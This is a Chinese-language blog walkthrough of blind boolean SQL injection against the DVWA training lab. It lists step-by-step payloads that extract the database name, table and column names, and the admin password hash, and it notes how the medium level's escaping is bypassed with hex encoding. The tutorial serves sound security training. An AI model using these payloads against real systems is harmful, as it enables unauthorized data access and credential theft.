DVWA——SQL盲注(全等级)

这篇具有很好参考价值的文章主要介绍了DVWA——SQL盲注(全等级)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


原理

SQL盲注与一般注入的区别在于:一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。一般有两种方式:布尔型和时间型。还有一种是报错注入,本章主要介绍布尔盲注。

布尔型是根据页面是否正确显示来判断我们构造的语句是否正确执行

时间型则是根据页面加载时间是否变化来判断的。

DVWA——SQL盲注(全等级)

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。


一、LOW

1.判断注入类型

输入1,显示存在
DVWA——SQL盲注(全等级)

输入1 and 1=1,显示存在
DVWA——SQL盲注(全等级)

输入1 and 1=2,也显示存在,由此说明不是数字型注入
DVWA——SQL盲注(全等级)

输入1’ and 1=1#,显示存在
DVWA——SQL盲注(全等级)

输入1’ and 1=3#,显示不存在,由此发现应该是字符型漏洞
DVWA——SQL盲注(全等级)

输入1" and 1=1#,显示存在
DVWA——SQL盲注(全等级)

输入1" and 1=3#,也显示存在,说明不是双引号注入
DVWA——SQL盲注(全等级)

只有真假两种情况下回显不一样才能判别。

综上可以看出是字符串单引号注入

2.确定数据库名字的长度

输入语句 显示结果
1’ and length(database())=1 # 不存在
1’ and length(database())<5 # 存在,说明数据库名字长度是小于5的
1’ and length(database())=4 # 存在,说明数据库名字长度为4

3.确定数据库名字

ASCII查询对照表:http://ascii.911cha.com/

猜测数据库名的第一个字符ASCII的取值范围

由于是DVWA靶场,所以合理猜测数据库名为dvwa(如果是其他场景下,需要不断修改数值,缩小取值范围,最终确定一个取值)

输入语句 显示结果
1’ and ascii(substr(database(),1,1))>97# 显示存在,说明第一个字符是一个小写字母且不是a。
1’ and ascii(substr(database(),1,1))=100# 显示存在,说明第一个是d
1’ and ascii(substr(database(),2,1))=118# 显示存在,说明第二个是v
1’ and ascii(substr(database(),3,1))=119# 显示存在,说明第三个是w
1’ and ascii(substr(database(),4,1))=97# 显示存在,说明第四个是a

综上,数据库的名字可以确定为dvwa。

4.确定dvwa数据库中表的数量

输入语句 显示结果
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1# 不存在
1’ and (select count(table_name) from information_schema.tables where table_schema=database())>2# 不存在,说明表的数量是2
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 存在,猜想验证成功

5.确定dvwa数据库中表名的长度

输入语句分布解析:

1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()

2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
PS:limit 结果编号(从0开始),返回结果数量

3.计算当前连接数据库第1个表名的字符串长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))

4.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #

输入语句 显示结果
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10# 不存在
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8# 存在,说明dvwa第一个表长度为9
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9# 存在,验证成功

同理可以对第二个表的长度进行猜测:

输入语句 显示结果
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5# 存在,dvwa第二个表长度为5

6.确定dvwa数据库中表的名字

与确定数据库名字类似,用到ascii()和substr()两个函数。

substr(str,1,1):从str的第一个字符开始,截取长度1 == 取str的第一个字符

limit 0,1:0-查询结果的第一个;1-返回一条查询结果。 eg: limit 3,5 就是返回第4-8条数据。

输入语句 显示结果
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103# 显示存在,第一个表的第一个字符是g,以此类推可以确定第一个表的名字是guestbook。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117# 存在,第二个表的第一个字符是u,以此类推可以确定第二个表的名字是users

7.确定users表中的字段数目

输入语句 显示结果
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>4# 存在
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>9# 不存在
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)>7# 存在
1’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’)=8# 存在所以users表中有8个字段

8.确定users表中的8个字段长度

输入语句 显示结果
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>10# 不存在
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>6# 存在
1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))>8# 不存在
输入1’ and length((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))=7# 存在说明users表的第一个字段长度为7

同理可以获取其他7个字段的长度

9.确定users表中的8个字段名字

由于表中的字段数目比较多,长度比较长,如果采用之前的按字符猜测,会很耗时间。根据我们的需要,判断users表中是否含有用户名和密码字段即可。

根据经验猜测用户名和密码的字段名字如下:

用户名:username/user_name/uname/u_name/user/…

密码:password/pass_word/pwd/pass/…

  • 猜用户名

      1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='username')=1 #
    

    显示不存在,更换字段名再尝试,发现user显示存在

  • 猜密码

      1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
    

    显示存在

综上可知,users表中的用户名和密码字段分别为userpassword

10.获取user和password的字段值

password在存储的时候进行了MD5加密。

同样先进行猜测碰撞,如果不行再逐个筛选。

1' and (select count(*) from users where user='admin')=1 #

显示存在

1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 #

显示存在

综上可知一组用户名-密码:admin-password。

二、Medium

步骤和LOW相似,不过变成数字型注入,需要去掉1后面的单引号。

使用burpsuite抓包,修改id的值为注入语句即可。

同时medium在源代码中对特殊符号进行了转义处理,对于带有引号的字符串转换成16进制进行绕过。

三、High

high级别会另外开启一个页面,步骤类似


参考文献:
DVWA全等级SQL Injection(Blind)盲注–手工测试过程解析文章来源地址https://www.toymoban.com/news/detail-410932.html

到了这里,关于DVWA——SQL盲注(全等级)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SQL注入原理-时间盲注

            小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注。 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数  length()函数  实战演示 1、判断是否存在注入点 2、使用时间盲注爆出数据 1、爆出当前数据库名的长度 2、爆出数据库名长度 3、爆

    2023年04月10日
    浏览(53)
  • 7、DVWA——SQL盲注

      盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 普通注入与盲注的区别:   普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,

    2024年02月08日
    浏览(31)
  • DVWA------SQL Injection (Blind)(SQL盲注)

    一、SQL 盲注 1.简介 2.分类 3.盲注测试思路 二、SQL Injection (Blind) 1.LOW 1.1代码审计 1.2漏洞利用 2.medium 3.high 4.Impossible         SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法

    2024年02月16日
    浏览(39)
  • 生命在于学习——SQL注入绕过

    SQL注入绕过技术已经是一个老生常淡的内容了,防注入可以使用某些云waf加速乐等安全产品,这些产品会自带waf属性拦截和抵御SQL注入,也有一些产品会在服务器里安装软件,例如iis安全狗、d盾、还有就是在程序理论对输入参数进行过滤和拦截,例如360webscan脚本等只要参数

    2023年04月08日
    浏览(48)
  • SQL注入-盲注(布尔盲注与时间盲注)

    目录 一、什么是盲注 二、盲注的分类 三、利用盲注的前提条件 四、盲注的优缺点 五、基于布尔类型的盲注 1.什么情况下使用布尔类型的盲注  2.使用布尔类型盲注的操作步骤: 3.布尔类型盲注的操作过程(以获取当前数据库为例)  4.使用其他函数进行布尔类型的盲注(演

    2024年02月07日
    浏览(69)
  • 【SQL注入-布尔盲注】

    布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句,正确的页面不能输出数据。 演示环境 phpStudy + mysql + sqlilabs 源码分

    2024年02月06日
    浏览(45)
  • SQL注入实战:盲注

    1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据

    2024年01月24日
    浏览(53)
  • SQL注入-时间盲注

    当测试一个注入点时,我们使用多种方式测试,页面都显示正常,这就很难判断改点是否存在注入,可能会造成误断,这时候我们可以采用时间盲注的方法,来判断是否存在注入点以及猜解数据库信息。 时间盲注就是通过if 语句构造判断条件,是sleep函数来让数据库延迟查询

    2024年02月12日
    浏览(51)
  • 【SQL注入漏洞-04】布尔盲注靶场实战

    当我们改变前端页面传输给后台sql参数时,页面没有显示相应内容也没有显示报错信息时,不能使用联合查询注入和报错注入,这时我们可以考虑是否为基于布尔的盲注。 利用页面返回的布尔类型状态,正常或者不正常; 我们输入的语句让页面呈现出两种状态,相当于true和

    2023年04月16日
    浏览(57)
  • 延时盲注技术:SQL 注入漏洞检测入门指南

    部分数据来源: ChatGPT  环境准备 引言         在网络安全领域中,SQL 注入漏洞一直是常见的安全隐患之一。它可以利用应用程序对用户输入的不恰当处理,导致攻击者能够执行恶意的 SQL 查询语句,进而获取、修改或删除数据库中的数据。为了帮助初学者更好地理解和

    2024年02月10日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包